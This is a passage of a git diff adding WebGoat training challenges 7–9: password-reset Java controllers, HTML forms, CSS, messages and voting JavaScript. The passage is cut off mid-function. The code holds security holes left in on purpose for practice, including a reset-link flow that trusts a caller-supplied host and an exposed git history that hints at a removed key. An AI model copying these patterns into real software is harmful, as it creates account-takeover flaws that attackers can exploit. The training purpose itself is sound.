* We need to add the current cookie of the user otherwise we cannot distinguish in WebWolf for
|
||||||
|
* which user we need to trace the incoming request. In normal situation this HOST will be in your
|
||||||
|
* full control so every incoming request would be valid.
|
||||||
|
*/
|
||||||
|
private void fakeClickingLinkEmail(String cookie, String host, String resetLink) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
HttpHeaders httpHeaders = new HttpHeaders();
|
||||||
|
httpHeaders.put(HttpHeaders.COOKIE, Lists.newArrayList("JSESSIONID=" + cookie));
|
||||||
|
HttpEntity httpEntity = new HttpEntity(httpHeaders);
|
||||||
|
new RestTemplate().exchange(String.format("http://%s/challenge/9/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
|
||||||
|
} catch (Exception e) {
|
||||||
|
//don't care
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@PostMapping("/login")
|
||||||
|
@ResponseBody
|
||||||
|
public AttackResult login(@RequestParam String password, @RequestParam String email) {
|
||||||
|
if (TOM_EMAIL.equals(email)) {
|
||||||
|
String passwordTom = usersToTomPassword.getOrDefault(getWebSession().getUserName(), PASSWORD_TOM_9);
|
||||||
|
if (passwordTom.equals(PASSWORD_TOM_9)) {
|
||||||
|
return failed().feedback("login_failed").build();
|
||||||
|
} else if (passwordTom.equals(password)) {
|
||||||
|
return success().feedback("challenge.solved").feedbackArgs(FLAGS.get(9)).build();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return failed().feedback("login_failed.tom").build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/reset-password/{link}")
|
||||||
|
public String resetPassword(@PathVariable(value = "link") String link, Model model) {
|
||||||
|
if (this.resetLinks.contains(link)) {
|
||||||
|
PasswordChangeForm form = new PasswordChangeForm();
|
||||||
|
form.setResetLink(link);
|
||||||
|
model.addAttribute("form", form);
|
||||||
|
return "password_reset"; //Display html page for changing password
|
||||||
|
} else {
|
||||||
|
return "password_link_not_found";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@PostMapping("/change-password")
|
||||||
|
public String changePassword(@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
||||||
|
if (!StringUtils.hasText(form.getPassword())) {
|
||||||
|
bindingResult.rejectValue("password", "not.empty");
|
||||||
|
}
|
||||||
|
if (bindingResult.hasErrors()) {
|
||||||
|
return "password_reset";
|
||||||
|
}
|
||||||
|
if (!resetLinks.contains(form.getResetLink())) {
|
||||||
|
return "password_link_not_found";
|
||||||
|
}
|
||||||
|
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
||||||
|
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
||||||
|
}
|
||||||
|
return "success";
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean checkIfLinkIsFromTom(String resetLinkFromForm) {
|
||||||
|
String resetLink = userToTomResetLink.getOrDefault(getWebSession().getUserName(), "unknown");
|
||||||
|
return resetLink.equals(resetLinkFromForm);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,39 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge9;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import org.owasp.webgoat.lessons.Category;
|
||||||
|
import org.owasp.webgoat.lessons.NewLesson;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/21/17.
|
||||||
|
*/
|
||||||
|
public class Challenge9 extends NewLesson {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Category getDefaultCategory() {
|
||||||
|
return Category.CHALLENGE;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getHints() {
|
||||||
|
return Lists.newArrayList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Integer getDefaultRanking() {
|
||||||
|
return 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getTitle() {
|
||||||
|
return "challenge9.title";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getId() {
|
||||||
|
return "Challenge9";
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,22 @@
|
|||||||
|
package org.owasp.webgoat.plugin.challenge9;
|
||||||
|
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
|
||||||
|
import javax.validation.constraints.NotNull;
|
||||||
|
import javax.validation.constraints.Size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/18/17.
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
public class PasswordChangeForm {
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Size(min=6, max=10)
|
||||||
|
private String password;
|
||||||
|
private String resetLink;
|
||||||
|
|
||||||
|
}
|
BIN
webgoat-lessons/challenge/src/main/resources/challenge7/git.zip
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
.btn-grey{
|
||||||
|
background-color:#D8D8D8;
|
||||||
|
color:#FFF;
|
||||||
|
}
|
||||||
|
.rating-block{
|
||||||
|
background-color:#FAFAFA;
|
||||||
|
border:1px solid #EFEFEF;
|
||||||
|
padding:15px 15px 20px 15px;
|
||||||
|
border-radius:3px;
|
||||||
|
}
|
||||||
|
.bold{
|
||||||
|
font-weight:700;
|
||||||
|
}
|
||||||
|
.padding-bottom-7{
|
||||||
|
padding-bottom:7px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.review-block{
|
||||||
|
background-color:#FAFAFA;
|
||||||
|
border:1px solid #EFEFEF;
|
||||||
|
padding:15px;
|
||||||
|
border-radius:3px;
|
||||||
|
margin-bottom:15px;
|
||||||
|
}
|
||||||
|
.review-block-name{
|
||||||
|
font-size:12px;
|
||||||
|
margin:10px 0;
|
||||||
|
}
|
||||||
|
.review-block-date{
|
||||||
|
font-size:12px;
|
||||||
|
}
|
||||||
|
.review-block-rate{
|
||||||
|
font-size:13px;
|
||||||
|
margin-bottom:15px;
|
||||||
|
}
|
||||||
|
.review-block-title{
|
||||||
|
font-size:15px;
|
||||||
|
font-weight:700;
|
||||||
|
margin-bottom:10px;
|
||||||
|
}
|
||||||
|
.review-block-description{
|
||||||
|
font-size:13px;
|
||||||
|
}
|
@ -0,0 +1,82 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
** Revision history (automatically added by: /challenge/7/.git/hooks)
|
||||||
|
|
||||||
|
2e29cacb85ce5066b8d011bb9769b666812b2fd9 Updated copyright to 2017
|
||||||
|
ac937c7aab89e042ca32efeb00d4ca08a95b50d6 Removed hardcoded key
|
||||||
|
f94008f801fceb8833a30fe56a8b26976347edcf First version of WebGoat Cloud website
|
||||||
|
|
||||||
|
-->
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Challenge_7.adoc"></div>
|
||||||
|
<div class="attack-container">
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-4">
|
||||||
|
<div class="panel panel-default">
|
||||||
|
<div class="panel-body">
|
||||||
|
<div class="text-center">
|
||||||
|
<h3><i class="fa fa-lock fa-4x"></i></h3>
|
||||||
|
<h2 class="text-center">Forgot Password?</h2>
|
||||||
|
<p>You can reset your password here.</p>
|
||||||
|
<div class="panel-body">
|
||||||
|
|
||||||
|
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/challenge/7"
|
||||||
|
enctype="application/json;charset=UTF-8" role="form">
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="input-group">
|
||||||
|
<span class="input-group-addon"><i
|
||||||
|
class="glyphicon glyphicon-envelope color-blue"></i></span>
|
||||||
|
<input id="email" name="email" placeholder="email address"
|
||||||
|
class="form-control" type="email"/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<input name="recover-submit" class="btn btn-lg btn-primary btn-block"
|
||||||
|
value="Reset Password" type="submit"/>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<p>(c) 2017 WebGoat Cloud Platform</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<input type="hidden" class="hide" name="token" id="token" value=""/>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<br/>
|
||||||
|
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="input-group">
|
||||||
|
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||||
|
style="font-size:20px"></i></div>
|
||||||
|
<input type="text" class="form-control" id="flag" name="flag"
|
||||||
|
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||||
|
</div>
|
||||||
|
<div class="input-group" style="margin-top: 10px">
|
||||||
|
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
@ -0,0 +1,255 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Challenge_8.adoc"></div>
|
||||||
|
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/challenge8.css}"/>
|
||||||
|
<script th:src="@{/lesson_js/challenge8.js}" language="JavaScript"></script>
|
||||||
|
|
||||||
|
<div class="attack-container">
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-sm-3">
|
||||||
|
<div class="rating-block">
|
||||||
|
<h4>Average user rating</h4>
|
||||||
|
<h2 class="bold padding-bottom-7">4.3
|
||||||
|
<small>/ 5</small>
|
||||||
|
</h2>
|
||||||
|
<button id="star1" onClick="doVote(1)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button id="star2" onClick="doVote(2)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button id="star3" onClick="doVote(3)" type="button" class="btn btn-warning btn-sm" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button id="star4" onClick="doVote(4)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button id="star5" onClick="doVote(5)" type="button" class="btn btn-default btn-grey btn-sm" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-sm-3">
|
||||||
|
<h4>Rating breakdown</h4>
|
||||||
|
<div class="pull-left">
|
||||||
|
<div class="pull-left" style="width:35px; line-height:1;">
|
||||||
|
<div style="height:9px; margin:5px 0;">5 <span class="glyphicon glyphicon-star"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left" style="width:180px;">
|
||||||
|
<div class="progress" style="height:9px; margin:8px 0;">
|
||||||
|
<div id="progressBar5" class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="5"
|
||||||
|
aria-valuemin="0" aria-valuemax="5">
|
||||||
|
<span class="sr-only">5</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="nrOfVotes5" class="pull-right" style="margin-left:10px;">0</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left">
|
||||||
|
<div class="pull-left" style="width:35px; line-height:1;">
|
||||||
|
<div style="height:9px; margin:5px 0;">4 <span class="glyphicon glyphicon-star"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left" style="width:180px;">
|
||||||
|
<div class="progress" style="height:9px; margin:8px 0;">
|
||||||
|
<div id="progressBar4" class="progress-bar progress-bar-primary" role="progressbar" aria-valuenow="5"
|
||||||
|
aria-valuemin="0" aria-valuemax="5">
|
||||||
|
<span class="sr-only">4</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="nrOfVotes4" class="pull-right" style="margin-left:10px;">0</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left">
|
||||||
|
<div class="pull-left" style="width:35px; line-height:1;">
|
||||||
|
<div style="height:9px; margin:5px 0;">3 <span class="glyphicon glyphicon-star"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left" style="width:180px;">
|
||||||
|
<div class="progress" style="height:9px; margin:8px 0;">
|
||||||
|
<div id="progressBar3" class="progress-bar progress-bar-info" role="progressbar" aria-valuenow="5"
|
||||||
|
aria-valuemin="0" aria-valuemax="5">
|
||||||
|
<span class="sr-only">4</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="nrOfVotes3" class="pull-right" style="margin-left:10px;">0</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left">
|
||||||
|
<div class="pull-left" style="width:35px; line-height:1;">
|
||||||
|
<div style="height:9px; margin:5px 0;">2 <span class="glyphicon glyphicon-star"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left" style="width:180px;">
|
||||||
|
<div class="progress" style="height:9px; margin:8px 0;">
|
||||||
|
<div id="progressBar2" class="progress-bar progress-bar-warning" role="progressbar" aria-valuenow="5"
|
||||||
|
aria-valuemin="0" aria-valuemax="5">
|
||||||
|
<span class="sr-only">2</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="nrOfVotes2" class="pull-right" style="margin-left:10px;">0</div>
|
||||||
|
</div>
|
||||||
|
<div class="pull-left">
|
||||||
|
<div class="pull-left" style="width:35px; line-height:1;">
|
||||||
|
<div style="height:9px; margin:5px 0;">1 <span class="glyphicon glyphicon-star"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="pull-left" style="width:180px;">
|
||||||
|
<div class="progress" style="height:9px; margin:8px 0;">
|
||||||
|
<div id="progressBar1" class="progress-bar progress-bar-danger" role="progressbar" aria-valuenow="5"
|
||||||
|
aria-valuemin="0" aria-valuemax="5">
|
||||||
|
<span class="sr-only">4</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="nrOfVotes1" class="pull-right" style="margin-left:10px;">0</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<hr/>
|
||||||
|
<div id = "voteResultMsg" class="alert alert-dismissable" style="display: none;">
|
||||||
|
</div>
|
||||||
|
<div class="alert alert-info">
|
||||||
|
Please login or register in order to vote (comments are disabled)
|
||||||
|
</div>
|
||||||
|
<div class="review-block">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-sm-3">
|
||||||
|
<img src="images/user1.png" class="img-rounded"/>
|
||||||
|
<div class="review-block-name"><a href="#">nktailor</a></div>
|
||||||
|
<div class="review-block-date">August 22, 2017<br/>1 day ago</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-sm-9">
|
||||||
|
<div class="review-block-rate">
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="review-block-title">WebGoat rocks!</div>
|
||||||
|
<div class="review-block-description">This is a great tool to learn about security
|
||||||
|
and have some fun with a couple challenges.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<hr/>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-sm-3">
|
||||||
|
<img src="images/user3.png" class="img-rounded"/>
|
||||||
|
<div class="review-block-name"><a href="#">Sarah</a></div>
|
||||||
|
<div class="review-block-date">July 29, 2017<br/>12 day ago</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-sm-9">
|
||||||
|
<div class="review-block-rate">
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="review-block-title">Nice</div>
|
||||||
|
<div class="review-block-description">I liked it and learned a couple of things.
|
||||||
|
Still some bugs sometimes though.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<hr/>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-sm-3">
|
||||||
|
<img src="images/user2.png" class="img-rounded"/>
|
||||||
|
<div class="review-block-name"><a href="#">Tom</a></div>
|
||||||
|
<div class="review-block-date">January 27, 2017<br/>100 days ago</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-sm-9">
|
||||||
|
<div class="review-block-rate">
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-warning btn-xs" aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
<button type="button" class="btn btn-default btn-grey btn-xs"
|
||||||
|
aria-label="Left Align">
|
||||||
|
<span class="glyphicon glyphicon-star" aria-hidden="true"></span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="review-block-title">WebGoat is great</div>
|
||||||
|
<div class="review-block-description">WebGoat teaches you web security with some great
|
||||||
|
lessons
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="input-group">
|
||||||
|
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||||
|
style="font-size:20px"></i></div>
|
||||||
|
<input type="text" class="form-control" id="flag" name="flag"
|
||||||
|
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||||
|
</div>
|
||||||
|
<div class="input-group" style="margin-top: 10px">
|
||||||
|
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
@ -0,0 +1,109 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:Challenge_9.adoc"></div>
|
||||||
|
<script th:src="@{/lesson_js/challenge9.js}" language="JavaScript"></script>
|
||||||
|
|
||||||
|
<div class="attack-container">
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
|
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-md-6">
|
||||||
|
<h4 style="border-bottom: 1px solid #c5c5c5;">
|
||||||
|
<i class="glyphicon glyphicon-user"></i>
|
||||||
|
Account Access
|
||||||
|
</h4>
|
||||||
|
<div style="padding: 20px;" id="form-login">
|
||||||
|
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/challenge/9/login"
|
||||||
|
enctype="application/json;charset=UTF-8" role="form">
|
||||||
|
<fieldset>
|
||||||
|
<div class="form-group input-group">
|
||||||
|
<span class="input-group-addon"> @ </span>
|
||||||
|
<input class="form-control" placeholder="Email" name="email" type="email"
|
||||||
|
required="" autofocus=""/>
|
||||||
|
</div>
|
||||||
|
<div class="form-group input-group">
|
||||||
|
<span class="input-group-addon">
|
||||||
|
<i class="glyphicon glyphicon-lock">
|
||||||
|
</i>
|
||||||
|
</span>
|
||||||
|
<input class="form-control" placeholder="Password" name="password" type="password"
|
||||||
|
value="" required=""/>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<button type="submit" class="btn btn-primary btn-block">
|
||||||
|
Access
|
||||||
|
</button>
|
||||||
|
<p class="help-block">
|
||||||
|
<a class="pull-right text-muted" href="#" id="login">
|
||||||
|
<small>Forgot your password?</small>
|
||||||
|
</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</fieldset>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<div style="display: none;" id="form-login">
|
||||||
|
<h4 class="">
|
||||||
|
Forgot your password?
|
||||||
|
</h4>
|
||||||
|
<form id="login-form" class="attack-form" accept-charset="UNKNOWN"
|
||||||
|
method="POST" name="form"
|
||||||
|
action="/WebGoat/challenge/9/create-password-reset-link"
|
||||||
|
enctype="application/json;charset=UTF-8" role="form">
|
||||||
|
<fieldset>
|
||||||
|
<span class="help-block">
|
||||||
|
Email address you use to log in to your account
|
||||||
|
<br/>
|
||||||
|
We'll send you an email with instructions to choose a new password.
|
||||||
|
</span>
|
||||||
|
<div class="form-group input-group">
|
||||||
|
<span class="input-group-addon">
|
||||||
|
@
|
||||||
|
</span>
|
||||||
|
<input class="form-control" placeholder="Email" name="email" type="email"
|
||||||
|
required=""/>
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn btn-primary btn-block" id="btn-login">
|
||||||
|
Continue
|
||||||
|
</button>
|
||||||
|
<p class="help-block">
|
||||||
|
<a class="text-muted" href="#" id="forgot">
|
||||||
|
<small>Account Access</small>
|
||||||
|
</a>
|
||||||
|
</p>
|
||||||
|
</fieldset>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<form class="attack-form" method="POST" name="form" action="/WebGoat/challenge/flag">
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="input-group">
|
||||||
|
<div class="input-group-addon"><i class="fa fa-flag-checkered" aria-hidden="true"
|
||||||
|
style="font-size:20px"></i></div>
|
||||||
|
<input type="text" class="form-control" id="flag" name="flag"
|
||||||
|
placeholder="a7179f89-906b-4fec-9d99-f15b796e7208"/>
|
||||||
|
</div>
|
||||||
|
<div class="input-group" style="margin-top: 10px">
|
||||||
|
<button type="submit" class="btn btn-primary">Submit flag</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<br/>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
@ -5,8 +5,13 @@ challenge3.title=Photo comments
|
|||||||
challenge4.title=Voting
|
challenge4.title=Voting
|
||||||
challenge5.title=Without password
|
challenge5.title=Without password
|
||||||
challenge6.title=Creating a new account
|
challenge6.title=Creating a new account
|
||||||
|
challenge7.title=Admin password reset
|
||||||
|
challenge8.title=Without account
|
||||||
|
challenge9.title=Changing password
|
||||||
challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0}
|
challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0}
|
||||||
challenge.close=This is not the correct password for tom, please try again.
|
challenge.close=This is not the correct password for Larry, please try again.
|
||||||
|
|
||||||
|
email.send=An e-mail has been send to {0}
|
||||||
|
|
||||||
user.exists=User {0} already exists please try to register with a different username.
|
user.exists=User {0} already exists please try to register with a different username.
|
||||||
user.created=User {0} created, please proceed to the login page.
|
user.created=User {0} created, please proceed to the login page.
|
||||||
@ -16,3 +21,9 @@ challenge.flag.correct=Congratulations you have solved the challenge!!
|
|||||||
challenge.flag.incorrect=Sorry this is not the correct flag, please try again.
|
challenge.flag.incorrect=Sorry this is not the correct flag, please try again.
|
||||||
|
|
||||||
ip.address.unknown=IP address unknown, e-mail has been sent.
|
ip.address.unknown=IP address unknown, e-mail has been sent.
|
||||||
|
|
||||||
|
login_failed=Login failed
|
||||||
|
login_failed.tom=Sorry only Tom can login at the moment
|
||||||
|
|
||||||
|
required4=Missing username or password, please specify both.
|
||||||
|
user.not.larry=Please try to log in as Larry not {0}.
|
After Width: | Height: | Size: 40 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user1.png
Normal file
After Width: | Height: | Size: 1.5 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user2.png
Normal file
After Width: | Height: | Size: 1.7 KiB |
BIN
webgoat-lessons/challenge/src/main/resources/images/user3.png
Normal file
After Width: | Height: | Size: 2.0 KiB |
@ -0,0 +1,57 @@
|
|||||||
|
$(document).ready(function () {
|
||||||
|
loadVotes();
|
||||||
|
average();
|
||||||
|
})
|
||||||
|
|
||||||
|
function loadVotes() {
|
||||||
|
$.get("challenge/8/votes/", function (votes) {
|
||||||
|
var totalVotes = 0;
|
||||||
|
for (var i = 1; i <= 5; i++) {
|
||||||
|
totalVotes = totalVotes + votes[i];
|
||||||
|
}
|
||||||
|
console.log(totalVotes);
|
||||||
|
for (var i = 1; i <= 5; i++) {
|
||||||
|
var percent = votes[i] * 100 / totalVotes;
|
||||||
|
console.log(percent);
|
||||||
|
var progressBar = $('#progressBar' + i);
|
||||||
|
progressBar.width(Math.round(percent) * 2 + '%');
|
||||||
|
$("#nrOfVotes" + i).html(votes[i]);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function average() {
|
||||||
|
$.get("challenge/8/votes/average", function (average) {
|
||||||
|
for (var i = 1; i <= 5; i++) {
|
||||||
|
var number = average["average"];
|
||||||
|
$("#star" + i).removeClass('btn-warning');
|
||||||
|
$("#star" + i).removeClass('btn-default');
|
||||||
|
$("#star" + i).removeClass('btn-grey');
|
||||||
|
|
||||||
|
if (i <= number) {
|
||||||
|
$("#star" + i).addClass('btn-warning');
|
||||||
|
} else {
|
||||||
|
$("#star" + i).addClass('btn-grey');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function doVote(stars) {
|
||||||
|
$("#voteResultMsg").hide();
|
||||||
|
$.get("challenge/8/vote/" + stars, function (result) {
|
||||||
|
if (result["error"]) {
|
||||||
|
